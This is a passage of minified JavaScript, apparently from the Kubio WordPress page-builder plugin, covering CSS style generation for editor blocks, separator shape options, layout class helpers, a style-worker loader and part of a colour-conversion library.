n=m.bind(this.groups[a],this)(e[a],t);n=this.evaluate(n),o=m.merge(o,n||{})}else 0===a.indexOf("--")?o[a]=ue(e[a]):n||(o[a]=this.evaluate(e[a]));return o}filterProps(e){let t=[];return Object.hasOwn(e,"size")&&(t=t.concat(["width","height","minWidth","minHeight"])),(0,d.omit)(e,t)}}function Mt(e,t){return(0,d.transform)(e,(function(e,n,o){f()(n,t[o])||(e[o]=(0,d.isObject)(n)&&(0,d.isObject)(t[o])?Mt(n,t[o]):n)}))}Ct(Ot,"instance",void 0);const It=(e,t)=>Mt(e,t);class Pt{constructor(e,t){this.name=e,this.style=t}toCss(e=null){return Ot.getInstance().transform(m.omit(this.style,"ancestor"),e)}}class Bt{constructor(e,t){if(Ct(this,"name",void 0),Ct(this,"style",void 0),Ct(this,"byState",{}),this.name=e,this.style=t,t){const e=t[Bt.DEFAULT_STATE];m.each(t,((t,n)=>{Object.keys(t)&&(this.byState[n]=new Pt(n,m.merge({},e,t)))}))}}toCss(e=null){const t={};return t[Bt.DEFAULT_STATE]=this.byState[Bt.DEFAULT_STATE]?this.byState[Bt.DEFAULT_STATE].toCss(e):{},m.each(this.byState,((n,o)=>{if(o!==Bt.DEFAULT_STATE){const a=n.toCss(e);a&&(t[o]=It(a,t[Bt.DEFAULT_STATE]))}})),t}}Ct(Bt,"DEFAULT_STATE","normal");class Dt{constructor(e,t){this.name=e,this.byMedias={},m.each(t,((e,t)=>{e&&(this.byMedias[t]=new Bt(t,e))}))}toCss(e=null){const t={};return m.each(this.byMedias,((n,o)=>{t[o]=n.toCss(e)})),t}}class Lt{constructor(e,t){this.name=e,this.elementsByName={},m.each(t,((e,t)=>{this.elementsByName[t]=new Dt(t,e)}))}toCss(e){const t={},n=e.allowedElements;return m.each(n,(n=>{const o=m.get(this.elementsByName,n,!1);o&&(t[n]=o.toCss(m.merge({},e,{styledElement:n})))})),t}}class jt{constructor(e={},t=[],n=!0){this.model=e,this.allowedElements=t,this.htmlSupport=n}}class zt{constructor(e,t={}){this.ancestorsByName={},this.context=t;const n=m.get(e,"ancestor",[]),o=m.merge({default:m.omit(e,"ancestor")},n),a=m.uniq(["default"].concat(m.keys(o)));m.each(a,(e=>{const n=o[e],a=Nt.normalizeStyle(n,{allowedElements:t.allowedElements});this.ancestorsByName[e]=new Lt(e,a)}))}toCss(e=null){const t={};m.each(this.ancestorsByName,((e,n)=>{t[n]=e.toCss(m.merge({},this.context))}));let n={};return m.each(t,((t,o)=>{m.each(t,((t,a)=>{m.each(t,((t,r)=>{m.each(t,((t,s)=>{if(!m.isEmpty(t)){const i=e(o,a,s);t=Gt({elementStateStyle:t,selectors:i,media:r,mapped:n});const l=m.set({},m.concat([r],i),t);n=m.merge(n,l)}}))}))}))})),n}}const Gt=({elementStateStyle:e,selectors:t,media:n,mapped:o})=>(m.each(e,((a,r)=>{const s="@body";if(r.includes(s)){const i="body .block-editor-block-list__layout",l=r.replaceAll(s,"");e=window.structuredClone(e),m.unset(e,r);const u=window.structuredClone(t);u[0]=i;const c=m.set({},m.concat([n],u,[l]),a);o=m.merge(o,c)}})),e);class Ht{constructor(e){m.extend(this,e)}}class Ft extends Ht{constructor(e){super({selector:!1,stateRedirectElement:!1,...e})}}class Vt extends Ht{constructor(e){super({usePrefix:!0,useParentPrefix:!1,useWrapperPrefix:!1,selector:!1,ancestor:!1,statesConfig:{},statesById:{},selectorPrepend:!1,prefixWithTag:!1,...e})}getSelector(e=null){let t;if(this.isSelectorPerState()){var n;const o=m.get(this.selector,"default");t=m.get(this.selector,e,o),t=m.replace(t,Vt.STATE_KEY,null===(n=this.getStateConfig(e))||void 0===n?void 0:n.selector)}else t=this.selector;return t}isSelectorPerState(){return m.isObjectLike(this.selector)}getStateConfig(e){const t=m.merge({},this.statesById[e],m.get(this.statesConfig,"default",{}),m.get(this.statesConfig,e,{}));return new Ft(t)}shouldPrependAncestor(e){return this.ancestor!==e}shouldAppendStateSelector(){return!(this.isSelectorPerState()||m.isString(this.selector)&&-1!==this.selector.search(Vt.STATE_KEY))}}Ct(Vt,"STATE_KEY","{{state}}");class Ut{constructor(e){this.model={},this.wrapperElement=null,this.parser=Ot.getInstance(),this.statesById=$,this.prefixParents=[],this.htmlSupport=!0,this.baseClass="",this.styledElementsByName={},this.styledElementsEnum={},this.useParentPrefix=!1,this.loadOptions(e),this.allowedElements=m.concat(["default"],Object.keys(this.styledElementsByName),Object.values(this.styledElementsEnum)),this.statesByElement=this.getStatesByElement()}static renderJssToCss(e,t=""){let n="";const o={},a=[];return m.each(e,((e,t)=>{m.isString(e)?a.push([m.kebabCase(t),e].join(":")):o[t]=e})),a.length&&(n+=t+"{\n"+a.join(";")+"\n}\n"),m.each(o,((e,o)=>{const a=Ut.composeSelectors(t,o);n+=Ut.renderJssToCss(e,a)})),n}static composeSelectors(e,t){const n=[],o=t.split(","),a=e.split(",");return m.each(a,(e=>{e=e.trim(),m.each(o,(t=>{if(-1!==(t=t.trim()).search("&")){const o=t.replace(/&/gi,e.trim());n.push(o)}else n.push(m.compact([e,t.trim()]).join(" "))}))})),n.join(",")}static normalizeDynamicStyle(e){const t={};return m.each(e,((e,n)=>{let o={media:{}};e.desktop&&(o=e.desktop),m.each(e,((e,t)=>{"desktop"!==t&&m.set(o,["media",t],e)})),m.set(t,["descendants",n],o)})),t}loadOptions(e){m.each(e,((e,t)=>{this[t]=e}))}getStatesByElement(){const e={};return m.each(this.styledElementsByName,((t,n)=>{e[n]=m.get(t,["supports",Rt.statesKey],["normal","hover"])})),e}exportDynamicStyle(e=null){return this.convertStyleToCss(Ut.normalizeDynamicStyle(e),{styledElementsByName:this.styledElementsByName,styleType:"dynamic"})}export(e=null){const t=this.model.style,n={};return m.each(t,((e,t)=>{e&&(n[t]=this.convertStyleToCss(e,{styledElementsByName:this.styledElementsByName,styleType:t}))})),e&&(n.dynamic=this.exportDynamicStyle(e)),n}convertStyleToCss(e,t){const n=m.get(t,"styleType","shared"),o=m.get(t,"prefix",Ut.prefixSelectorsByType[n]),a=this.getStyledElementsNames();return new zt(e,new jt(this.model,a,this.htmlSupport)).toCss(((e,a,r)=>{const s=m.get(t,["styledElementsByName",a,"withGlobalPrefix"]);let i=o;return s&&(i=`#kubio ${o}`),this.composeSelector(i,n,e,a,r)}))}getStyledElementsNames(){return m.concat([],Object.keys(this.styledElementsByName))}composeSelector(e,t,n,o,a){const r=this.getElementData(o);let s=[];r.usePrefix&&s.push(e),this.useParentPrefix&&(s=s.concat(this.prefixParents));const i="default"===n?"":this.ancestorToSelector(n),l=r.shouldPrependAncestor(n);i&&l&&s.push(i);const u=this.wrapperElement===o;this.wrapperElement&&(r.selector||r.useWrapperPrefix)&&r.usePrefix&&!u&&s.push(this.composeElementSelector(t,n,this.wrapperElement));const c=r.getStateConfig(a);if(c.stateRedirectElement){const e=this.composeElementSelector(t,n,c.stateRedirectElement,a);s.push(e),r.shouldAppendStateSelector()&&s.push("&"+c.selector)}let d=this.composeElementSelector(t,n,o,a);return i&&!l&&(d=i+d),s.push(d),r.shouldAppendStateSelector()&&!c.stateRedirectElement&&c.selector&&s.push("&"+c.selector),s}getElementData(e){const t=window.structuredClone(this.styledElementsByName[e]||{});return new Vt({statesById:this.statesById,...t})}composeElementSelector(e,t,n,o=null){const a=this.getElementData(n);let r=a.getSelector(o);const s=this.wrapperElement===n;if(!1===r||s&&r){let t=!0===a.prefixWithTag?a.props.tag:a.prefixWithTag;!0===a.prefixWithTag&&a.props.htmlTag&&(t=a.props.htmlTag);let o=this.componentInstanceClass(n,e,!0,!!a.prefixWithTag&&t);r&&(o=a.selectorPrepend?Ut.composeSelectors(r,"&"+o):Ut.composeSelectors(o,r)),r=o}return r}componentInstanceClass(e,t,n=!1,o=!1){let a=this.model.styleRef;"local"===t&&(a=this.componentLocalInstanceId(t));const r="style-"+a+(e?"-"+e:"");return n?(o||"")+"."+r:r}componentLocalInstanceId(e){return e+"-"+this.model.id}ancestorToSelector(e){return m.get(I.ancestors,[e,"selector"],"")}}Ct(Ut,"prefixSelectorsByType",{shared:"#kubio",local:"#kubio",dynamic:"body",global:".block-editor-block-list__layout"});class $t extends Ut{constructor(e,t,n=!0,o){var a;const{blockData:r,blockType:s}=e,i=Nt.normalizeBlockData(r,s),{styledElementsByName:l,styledElements:u,styledElementsEnum:c,model:d}=i,p=null===(a=u.find((e=>null==e?void 0:e.wrapper)))||void 0===a?void 0:a.name,h=[],f=m.get(s,`supports.${Rt.mainAttributeKey}.useParentPrefix`,!1);if(f&&t){const{blockData:e,blockType:a}=t;if(e&&a){const e=new $t(t,null,n,o);h.push(e.componentInstanceClass(e.wrapperElement,"shared",!0))}}super({styledElementsByName:l,styledElementsEnum:c,model:d,wrapperElement:p,htmlSupport:n,document:o,useParentPrefix:f,prefixParents:h}),this.blockType=s,this.parentBlockType=t}render(e){var t,n;const o=null===(t=this.model)||void 0===t?void 0:t.styleRef,a=null===(n=this.model)||void 0===n?void 0:n.id,r=G(this.document);if(e){const t=this.exportDynamicStyle(e);r.updateDynamicRules(o,t)}const s=this.export();a&&"undefined"!==a&&r.updateLocalRules(a,s.local),r.updateSharedRules(o,s.shared),r.updateRules()}}class Wt{static getVAlignClasses(e,t={}){const n=t.self?"align-self":"align-items";return Nt.composeClassesByMedia(e,n)}static getHAlignClasses(e,t={}){const n=t.self?"justify-self":"justify-content";return Nt.composeClassesByMedia(e,n)}}var qt=n(9588),Kt=n.n(qt);const{parseHolders:Yt}=je,Xt={hSpaceParent:e=>{const t={};return p().each(e,((e,n)=>{if(!isNaN(null==e?void 0:e.value)){const o=parseInt(parseInt(e.value)/2);t[n]={marginLeft:"-"+o+"px",marginRight:"-"+o+"px"}}})),t},hSpace:e=>{const t={};return p().each(e,((e,n)=>{if(!isNaN(null==e?void 0:e.value)){const o=parseInt(parseInt(e.value)/2);t[n]={paddingLeft:o+"px",paddingRight:o+"px"}}})),t},vSpace:(e,t=!1,n=!1)=>{const o={};return(0,d.each)(e,((e,a)=>{isNaN(null==e?void 0:e.value)||(o[a]={[n?"marginTop":"marginBottom"]:(t?"-":"")+e.value+"px"})})),o},typographyHolders:e=>{const t={};return p().each(window.structuredClone(e),((e,n)=>{t[n]=Yt(e,null,{isDynamicStyle:!0})})),t}},Jt=Kt()(((e={})=>{var t;const n=(null===(t=e)||void 0===t?void 0:t.disabled)||{};if((0,d.isEmpty)(n))return e;e=window.structuredClone(e);const o=Object.keys(n).filter((e=>null==n?void 0:n[e])).reduce(((e,t)=>("headings"===t?e=e.concat(["h1","h2","h3","h4","h4","h5","h6"]):e.push(t),e)),[]);if(o.length){var a,r;const t=(null===(a=e)||void 0===a||null===(r=a.descendants)||void 0===r?void 0:r.body)||{};o.forEach((e=>(0,d.unset)(t,`typography.holders.${e}`)));for(const e in t.media)o.forEach((n=>(0,d.unset)(t,`${e}.typography.holders.${n}`)));e=(0,d.set)(e,"descendants.body",t)}return e})),Qt=(e,t)=>e.split(",").map((e=>(0===(e=e.trim()).indexOf(".woocommerce ")&&(e=e.replace(".woocommerce","")),`${t} ${e}`))).join(","),Zt=(e,t)=>{let n;return(0,d.isObject)(e)?(n={},Object.keys(e).forEach((o=>{n[o]=Qt(e[o],t)}))):n=Qt(e,t),n},en=(e,t)=>{const{elementsEnum:n}=M().definitions.globalStyle;return t===n.FORM_BUTTON&&(e={normal:["input[type='button']:not(.components-button)","button:not(.components-button)"].join(" "),hover:["input[type='button']:not(.components-button):hover","button:not(.components-button):hover"].join(" "),focus:["input[type='button']:not(.components-button):focus","button:not(.components-button):focus"].join(","),disabled:["input[type='button']:not(.components-button):disabled","button:not(.components-button):disabled","input[type='button'][disabled]:not(.components-button)","button[disabled]:not(.components-button)"].join(",")}),e};class tn extends Ut{constructor(e){const{document:t,...n}=e,o={...n,style:Jt(null==n?void 0:n.style)};let{elementsByName:a,elementsEnum:r}=M().definitions.globalStyle;a=(e=>{const t={};return Object.keys(e).forEach((n=>{const o=e[n];if("body"===n)t[n]={...o,selector:""};else{let e="";o.withKubioBlockPrefix&&(e="[data-kubio]"),t[n]={...o,selector:o.isGlobalSelector?o.selector:Zt(en(o.selector,n),e)}}})),t})(a);const s=Nt.normalizeData({mainAttribute:o,styledElementsByName:a,styledElementsEnum:r});super({styledElementsByName:a,styledElementsEnum:r,wrapperElement:!1,model:{...(null==s?void 0:s.model)||{},globalStyle:!0},document:t})}getDynamicStyle({vSpaceByMedia:e,hSpaceByMedia:t}){const{elementsEnum:n}=M().definitions.globalStyle;return{[n.V_SPACE_NEGATIVE]:Xt.vSpace(e,!0),[n.V_SPACE_NEGATIVE_TOP]:Xt.vSpace(e,!0,!0),[n.V_SPACE]:Xt.vSpace(e),[n.H_SPACE_GROUP]:Xt.hSpaceParent(t),[n.H_SPACE]:Xt.hSpace(t)}}export(e=null){var t;const n=null===(t=this.model.style)||void 0===t?void 0:t.shared,o={};return o.global=this.convertStyleToCss(n,{styledElementsByName:this.styledElementsByName,styleType:"global"}),e&&(o.dynamic=this.convertStyleToCss(Ut.normalizeDynamicStyle(this.getDynamicStyle(e)),{styledElementsByName:this.styledElementsByName,styleType:"global"})),o}render(e){const t=G(this.document);if(!t)return;const n=this.export(e,"");t.updateGlobalRules("global",null==n?void 0:n.global),t.updateDynamicRules("global",null==n?void 0:n.dynamic),t.updateRules()}}const nn={NONE:[W.NORMAL],BASIC:[W.NORMAL,W.HOVER],LINK:[W.NORMAL,W.HOVER],BUTTON:[W.NORMAL,W.HOVER,W.FOCUS]},on={BACKGROUND:"background",BORDER:"border",PADDING:"padding",MARGIN:"margin",APPEARANCE:"appearance",RESPONSIVE:"responsive",SPACING:"spacing",BOX_SHADOW:"boxShadow",TEXT_SHADOW:"textShadow",SEPARATORS:"separators",TYPOGRAPHY:"typography",TYPOGRAPHY_FOR_HEADING:"typography-for-heading",TYPOGRAPHY_FOR_CONTAINER:"typographyContainer",TYPOGRAPHY_FOR_CONTAINER_ADVANCED:"typographyContainerAdvanced",TRANSFORM:"transform",TRANSITION:"transition",MISC:"misc"},an={BASIC:[on.BACKGROUND,on.BORDER],CONTAINER_BASIC:[on.BACKGROUND,on.SPACING,on.BORDER,on.TYPOGRAPHY_FOR_CONTAINER],CONTAINERS:[on.BACKGROUND,on.SEPARATORS,on.SPACING,on.BORDER,on.TYPOGRAPHY_FOR_CONTAINER,on.TRANSFORM],ALL:[on.BACKGROUND,on.SPACING,on.BORDER,on.TEXT_SHADOW,on.SEPARATORS,on.TYPOGRAPHY]},rn={LEFT:"left",CENTER:"center",JUSTIFY:"justify",RIGHT:"right"},sn={LEFT:"flex-start",CENTER:"center",RIGHT:"flex-end"},ln=window.kubio.pro,un={enabled:!1,color:"white",position:"top",height:{value:100,unit:"px"},negative:!0,overlap:!0,type:"tilt"},cn={"brush-strokes":{hasNegative:!1,defaultSize:121},"corner-left":{hasNegative:!1,defaultSize:300,offset:"-1px"},"corner-right":{hasNegative:!1,defaultSize:300,offset:"-1px"},"cute-waves":{hasNegative:!1,defaultSize:150},laced:{hasNegative:!1,defaultSize:170},round:{hasNegative:!1,defaultSize:160},"small-waves":{hasNegative:!1,offset:"-1px",defaultSize:110},techno:{hasNegative:!1,defaultSize:110},"torn-paper":{hasNegative:!1,defaultSize:170},vintage:{hasNegative:!1,defaultSize:150},watercolor:{hasNegative:!1,defaultSize:121},"zig-zag1":{hasNegative:!1,defaultSize:170},tilt:{hasNegative:!1,offset:"0px",defaultSize:100},"tilt-flipped":{hasNegative:!1,offset:"0px",defaultSize:100},triangle:{hasNegative:!0,offset:"0px",defaultSize:100},"triangle-asymmetrical":{hasNegative:!0,offset:"0px",defaultSize:100},"opacity-fan":{hasNegative:!1,offset:"0px",defaultSize:100},"opacity-tilt":{hasNegative:!1,offset:"0px",defaultSize:100},mountains:{label:"Mountains",hasNegative:!1,offset:"0px",defaultSize:100},pyramids:{hasNegative:!0,offset:"0px",defaultSize:100},waves:{label:"Waves",hasNegative:!0,offset:"0px",defaultSize:100},"wave-brush":{hasNegative:!1,offset:"0px",defaultSize:100},"waves-pattern":{hasNegative:!1,offset:"0px",defaultSize:170},clouds:{hasNegative:!0,offset:"0px",defaultSize:170},curve:{hasNegative:!0,offset:"0px",defaultSize:100},"curve-asymmetrical":{hasNegative:!0,offset:"0px",defaultSize:100},drops:{hasNegative:!0,offset:"0px",defaultSize:170},arrow:{hasNegative:!0,offset:"0px",defaultSize:100},book:{hasNegative:!0,offset:"0px",defaultSize:100},split:{hasNegative:!0,offset:"0px",defaultSize:100},zigzag:{label:"Toothed",hasNegative:!1,offset:"0px",defaultSize:170}},dn=["tilt","tilt-flipped"],pn=function(){let e=[];for(const t in cn){let n={label:cn[t].label?cn[t].label:(0,Ee.pascalCase)(t),value:t,negative:!1};if(dn.includes(t)||(n=(0,ln.addProTagToItem)(n)),e.push(n),cn[t].hasNegative){const t=window.structuredClone(n);t.negative=!0,e.push(t)}}return e=(0,ln.sortItemsByPro)(e,!1),e}(),hn={name:"separator",separators:cn,typeOptions:pn,heightUnitsOptions:[{label:"PX",value:"px"},{label:"%",value:"%"}],heightUnitsSettings:{px:{min:0,max:300,step:1},"%":{min:0,max:100,step:1}},default:un},fn="inherit";class mn{static computeColumnWidthClasses(e){const t=m.mapValues(e,(e=>gt.enums.typeToClass[e.type]));return Nt.composeClassesByMedia(t,"h-col",!0)}constructor(e={},t={}){this.prefixes=I.definitions.layout.prefixes,this.layoutByMedia=e,this.rowLayoutByMedia=t}getSelfVAlignClasses(){const e=m.mapValues(this.layoutByMedia,"verticalAlign");return Wt.getVAlignClasses(e,{self:!0})}get gridColumns(){return 12}getColumnGridClasses(){const e=m.mapValues(this.rowLayoutByMedia,(e=>Math.round(this.gridColumns/e.itemsPerRow)));return Nt.composeClassesByMedia(e,"h-col",!0)}getColumnWidthClasses(e,t=!0){return t?mn.computeColumnWidthClasses(e):["h-col-none"]}getColumnLayoutClasses(e,t=!0){return(this.rowLayoutByMedia.desktop||{}).equalWidth?this.getColumnGridClasses():this.getColumnWidthClasses(e,t)}getInheritedColumnVAlignClasses(){const e=m.mapValues(this.rowLayoutByMedia,"verticalAlign"),t=m.mapValues(this.rowLayoutByMedia,"equalHeight"),n={};return m.each(t,((t,o)=>{t||(n[o]=e[o])})),Wt.getVAlignClasses(n,{self:!0})}getRowAlignClasses(){const e=m.mapValues(this.layoutByMedia,"verticalAlign"),t=m.mapValues(this.layoutByMedia,"equalHeight"),n={...e};m.each(t,((e,t)=>{e&&(n[t]="stretch")}));const o=m.mapValues(this.layoutByMedia,"horizontalAlign");return[].concat(Wt.getVAlignClasses(n),Wt.getHAlignClasses(o))}getRowGapClasses(){return this.mapGapClasses(this.prefixes.row.outer,this.layoutByMedia)}getRowGapInnerClasses(){return this.mapGapClasses(this.prefixes.row.inner,this.layoutByMedia)}getColumnInnerGapsClasses(){return this.mapGapClasses(this.prefixes.column,this.layoutByMedia,this.rowLayoutByMedia)}mapGapClasses(e,t,n={}){let o=[];return m.each(t,((t,a)=>{m.each(e,((e,r)=>{let s=m.get(t,r);s===fn&&(s=m.get(n[a],r)),o=o.concat(Nt.composeClassForMedia(a,s,e))}))})),o}getColumnWidthType(e,t){return e?yt.EQUAL_WIDTH_COLUMNS:t.type}getColumnContentFlexBasis(e,t){return this.getColumnWidthType(e,t)===yt.FIT_TO_CONTENT?"flex-basis-auto":"flex-basis-100"}inheritedRowInnerGaps({horizontalInnerGapByMedia:e,verticalInnerGapByMedia:t,rowId:n}){const o=[];return[{propByMedia:e,selector:"horizontal-inner-gap"},{propByMedia:t,selector:"vertical-inner-gap"}].forEach((e=>{const t=e.propByMedia;p().each(B,((a,r)=>{if(p().get(t,r)===fn){const t=a.gridPrefix?`-${a.gridPrefix}`:"",r=`style-dynamic-${n}-${e.selector}${t}`;o.push(r)}}))})),o}}const gn=("undefined"==typeof WorkerGlobalScope||!(self instanceof WorkerGlobalScope))&&window.Worker&&window._kubioStyleManagerWorkerURL,yn={},bn=(e=null)=>{if(e&&yn[e])return yn[e].worker?yn[e].workerPromise:null;if(!gn)return null;let t;try{t=!!gn&&new window.Worker(window._kubioStyleManagerWorkerURL)}catch(e){t=null}let n=!1;const o=e=>{"WORKER_LOADED"===e.data&&(n=!0),t.removeEventListener("message",o)};if(!t)return null;t.addEventListener("message",o),t.onerror=()=>{t=null};const a=(e,n)=>{const o=`${e}_`+((e=16)=>parseInt(Math.ceil(Math.random()*Date.now()).toPrecision(e).toString().replace(".","")))();return new Promise(((a,r)=>{t||r("WORKER_FAILED"),t.postMessage({hash:o,action:e,payload:JSON.stringify(n)});const s=e=>{if("WORKER_LOADED"===e.data)return;const{hash:n,payload:r}=e.data;o===n&&(t.removeEventListener("message",s),a(r))};t.addEventListener("message",s)}))},r=(e,o={})=>n?a(e,o):new Promise((n=>{const r=s=>{"WORKER_LOADED"===s.data&&(a(e,o).then((e=>n(e))),t.removeEventListener("message",r))};t.addEventListener("message",r)}));return r.isLoaded=()=>n,e&&(yn[e]={worker:t,workerPromise:r}),r};function vn(e){return vn="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},vn(e)}var Sn=/^\s+/,xn=/\s+$/;function En(e,t){if(t=t||{},(e=e||"")instanceof En)return e;if(!(this instanceof En))return new En(e,t);var n=function(e){var t,n,o,a={r:0,g:0,b:0},r=1,s=null,i=null,l=null,u=!1,c=!1;return"string"==typeof e&&(e=function(e){e=e.replace(Sn,"").replace(xn,"").toLowerCase();var t,n=!1;if(Gn[e])e=Gn[e],n=!0;else if("transparent"==e)return{r:0,g:0,b:0,a:0,format:"name"};return(t=Zn.rgb.exec(e))?{r:t[1],g:t[2],b:t[3]}:(t=Zn.rgba.exec(e))?{r:t[1],g:t[2],b:t[3],a:t[4]}:(t=Zn.hsl.exec(e))?{h:t[1],s:t[2],l:t[3]}:(t=Zn.hsla.exec(e))?{h:t[1],s:t[2],l:t[3],a:t[4]}:(t=Zn.hsv.exec(e))?{h:t[1],s:t[2],v:t[3]}:(t=Zn.hsva.exec(e))?{h:t[1],s:t[2],v:t[3],a:t[4]}:(t=Zn.hex8.exec(e))?{r:$n(t[1]),g:$n(t[2]),b:$n(t[3]),a:Yn(t[4]),format:n?"name":"hex8"}:(t=Zn.hex6.exec(e))?{r:$n(t[1]),g:$n(t[2]),b:$n(t[3]),format:n?"name":"hex"}:(t=Zn.hex4.exec(e))?{r:$n(t[1]+""+t[1]),g:$n(t[2]+""+t[2]),b:$n(t[3]+""+t[3]),a:Yn(t[4]+""+t[4]),format:n?"name":"hex8"}:!!(t=Zn.hex3.exec(e))&&{r:$n(t[1]+""+t[1]),g:$n(t[2]+""+t[2]),b:$n(t[3]+""+t[3]),format:n?"name":"hex"}}(e)),"object"==vn(e)&&(eo(e.r)&&eo(e.g)&&eo(e.b)?(t=e.r,n=e.g,o=e.b,a={r:255*Vn(t,255),g:255*Vn(n,255),b:255*Vn(o,255)},u=!0,c="%"===String(e.r).substr(-1)?"prgb":"rgb"):eo(e.h)&&eo(e.s)&&eo(e.v)?(s=qn(e.s),i=qn(e.v),a=function(e,t,n){e=6*Vn(e,360),t=Vn(t,100),n=Vn(n,100);var o=Math.floor(e),a=e-o,r=n*(1-t),s=n*(1-a*t),i=n*(1-(1-a)*t),l=o%6;return{r:255*[n,s,r,r,i,n][l],g:255*[i,n,n,s,r,r][l],b:255*[r,r,i,n,n,s][l]}}(e.h,s,i),u=!0,c="hsv"):eo(e.h)&&eo(e.s)&&eo(e.l)&&(s=qn(e.s),l=qn(e.l),a=function(e,t,n){var o,a,r;function s(e,t,n){return n<0&&(n+=1),n>1&&(n-=1),n<1/6?e+6*(t-e)*n:n<.5?t:n<2/3?e+(t-e)*(2/3-n)*6:e}if(e=Vn(e,360),t=Vn(t,100),n=Vn(n,100),0===t)o=a=r=n;else{var i=n<.5?n*(1+t):n+t-n*t,l=2*n-i;o=s(l,i,e+1/3),a=s(l,i,e),r=s(l,i,e-1/3)}return{r:255*o,g:255*a,b:255*r}}(e.h,s,l),u=!0,c="hsl"),e.hasOwnProperty("a")&&(r=e.a)),r=Fn(r),{ok:u,format:e.format||c,r:Math.min(255,Math.max(a.r,0)),g:Math.min(255,Math.max(a.g,0)),b:Math.min(255,Math.max(a.b,0)),a:r}}(e);this._originalInput=e,this._r=n.r,this._g=n.g,this._b=n.b,this._a=n.a,this._roundA=Math.round(100*this._a)/100,this._format=t.format||n.format,this._gradientType=t.gradientType,this._r<1&&(this._r=Math.round(this._r)),this._g<1&&(this._g=Math.round(this._g)),this._b<1&&(this._b=Math.round(this._b)),this._ok=n.ok}function wn(e,t,n){e=Vn(e,255),t=Vn(t,255),n=Vn(n,255);var o,a,r=Math.max(e,t,n),s=Math.min(e,t,n),i=(r+s)/2;if(r==s)o=a=0;else{var l=r-s;switch(a=i>.5?l/(2-r-s):l/(r+s),r){case e:o=(t-n)/l+(t<n?6:0);break;case t:o=(n-e)/l+2;break;case n:o=(e-t)/l+4}o/=6}return{h:o,s:a,l:i}}function kn(e,t,n){e=Vn(e,255),t=Vn(t,255),n=Vn(n,255);var o,a,r=Math.max(e,t,n),s=Math.min(e,t,n),i=r,l=r-s;if(a=0===r?0:l/r,r==s)o=0;else{switch(r){case e:o=(t-n)/l+(t<n?6:0);break;case t:o=(n-e)/l+2;break;case n:o=(e-t)/l+4}o/=6}return{h:o,s:a,v:i}}function An(e,t,n,o){var a=[Wn(Math.round(e).toString(16)),Wn(Math.round(t).toString(16)),Wn(Math.round(n).toString(16))];return o&&a[0].charAt(0)==a[0].charAt(1)&&a[1].charAt(0)==a[1].charAt(1)&&a[2].charAt(0)==a[2].charAt(1)?a[0].charAt(0)+a[1].charAt(0)+a[2].charAt(0):a.join("")}function Tn(e,t,n,o){return[Wn(Kn(o)),Wn(Math.round(e).toString(16)),Wn(Math.round(t).toString(16)),Wn(Math.round(n).toString(16))].join("")}function Cn(e,t){t=0===t?0:t||10;var n=En(e).toHsl();return n.s-=t/100,n.s=Un(n.s),En(n)}function Rn(e,t){t=0===t?0:t||10;var n=En(e).toHsl();return n.s+=t/100,n.s=Un(n.s),En(n)}function Nn(e){return En(e).desaturate(100)}function On(e,t){t=0===t?0:t||10;var n=En(e).toHsl();return n.l+=t/100,n.l=Un(n.l),En(n)}function Mn(e,t){t=0===t?0:t||10;var n=En(e).toRgb();return n.r=Math.max(0,Math.min(255,n.r-Math.round(-t/100*255))),n.g=Math.max(0,Math.min(255,n.g-Math.round(-t/100*255))),n.b=Math.max(0,Math.min(255,n.b-Math.round(-t/100*255))),En(n)}function In(e,t){t=0===t?0:t||10;var n=En(e).toHsl();return n.l-=t/100,n.l=Un(n.l),En(n)}function Pn(e,t){var n=En(e).toHsl(),o=(n.h+t)%360;return n.h=o<0?360+o:o,En(n)}function Bn(e){var t=En(e).toHsl();return t.h=(t.h+180)%360,En(t)}function Dn(e,t){if(isNaN(t)||t<=0)throw new Error("Argument to polyad must be a positive number");for(var n=En(e).toHsl(),o=[En(e)],a=360/t,r=1;r<t;r++)o.push(En({h:(n.h+r*a)%360,s:n.s,l:n.l}));return o}function Ln(e){var t=En(e).toHsl(),n=t.h;return[En(e),En({h:(n+72)%360,s:t.s,l:t.l}),En({h:(n+216)%360,s:t.s,l:t.l})]}function jn(e,t,n){t=t||6,n=n||30;var o=En(e).toHsl(),a=360/n,r=[En(e)];for(o.h=(o.h-(a*t>>1)+720)%360;--t;)o.h=(o.h+a)%360,r.push(En(o));return r}function zn(e,t){t=t||6;for(var n=En(e).toHsv(),o=n.h,a=n.s,r=n.v,s=[],i=1/t;t--;)s.push(En({h:o,s:a,v:r})),r=(r+i)%1;return s}En.prototype={isDark:function(){return this.getBrightness()<128},isLight:function(){return!this.isDark()},isValid:function(){return this._ok},getOriginalInput:function(){return this._originalInput},getFormat:function(){return this._format},getAlpha:function(){return this._a},getBrightness:function(){var e=this.toRgb();return(299*e.r+587*e.g+114*e.b)/1e3},getLuminance:function(){var e,t,n,o=this.toRgb();return e=o.r/255,t=o.g/255,n=o.b/255,.2126*(e<=.03928?e/12.92:Math.pow((e+.055)/1.055,2.4))+.7152*(t<=.03928?t/12.92:Math.pow((t+.055)/1.055,2.4))+.0722*(n<=.03928?n/12.92:Math.pow((n+.055)/1.055,2.4))},setAlpha:function(e){return this._a=Fn(e),this._roundA=Math.round(100*this._a)/100,this},toHsv:function(){var e=kn(this._r,this._g,this._b);return{h:360*e.h,s:e.s,v:e.v,a:this._a}},toHsvString:function(){var e=kn(this._r,this._g,this._b),t=Math.round(360*e.h),n=Math.round(100*e.s),o=Math.round(100*e.v);return 1==this._a?"hsv("+t+", "+n+"%, "+o+"%)":"hsva("+t+", "+n+"%, "+o+"%, "+this._roundA+")"},toHsl:function(){var e=wn(this._r,this._g,this._b);return{h:360*e.h,s:e.s,l:e.l,a:this._a}},toHslString:function(){var e=wn(this._r,this._g,this._b),t=Math.round(360*e.h),n=Math.round(100*e.s),o=Math.round(100*e.l);return 1==this._a?"hsl("+t+", "+n+"%, "+o+"%)":"hsla("+t+", "+n+"%, "+o+"%, "+this._roundA+")"},toHex:function(e){return An(this._r,this._g,this._b,e)},toHexString:function(e){return"#"+this.toHex(e)},toHex8:function(e){return function(e,t,n,o,a){var r=[Wn(Math.round(e).toString(16)),Wn(Math.round(t).toString(16)),Wn(Math.round(n).toString(16)),Wn(Kn(o))];return 